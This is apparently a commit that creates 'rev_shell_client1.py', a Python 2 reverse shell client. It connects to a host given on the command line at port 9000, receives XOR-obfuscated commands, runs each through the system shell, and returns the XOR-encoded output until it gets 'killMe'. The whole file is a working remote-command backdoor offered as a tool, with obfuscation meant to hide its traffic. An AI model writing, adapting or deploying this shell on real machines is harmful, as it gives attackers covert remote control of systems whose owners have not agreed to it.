new_contents: #!/usr/bin/python
  
  import socket
  import subprocess
  import sys
  
  
  def main():
      try:
          RHOST = sys.argv[1]
          RPORT = 9000
      except:
          print ("Must provide hotst")
          sys.exit()
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((RHOST,RPORT))
  
      while True:
          #recieve XOR encoded data
          data = s.recv(1024)
          
          #XOR the data again with a '/x41' to get back to normal
          en_data = bytearray(data)
          for i in range(len(en_data)):
              en_data[i] ^=0x41
  
          if en_data == 'killMe':
              break
              
          #Execute decoded command
          comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
          STDOUT,STDERR = comm.communicate()
          
          #Encode output
          if STDOUT:
              en_STDOUT = bytearray(STDOUT)
          else:
              en_STDOUT = bytearray("Command not recognised")
          for i in range(len(en_STDOUT)):
              en_STDOUT[i] ^=0x41
          try:
  	    s.send(en_STDOUT)
      	except:
              sys.exit()
      s.close()
  
  #Start Here!
  if __name__ == "__main__":
      main()
  
subject: Create rev_shell_client1.py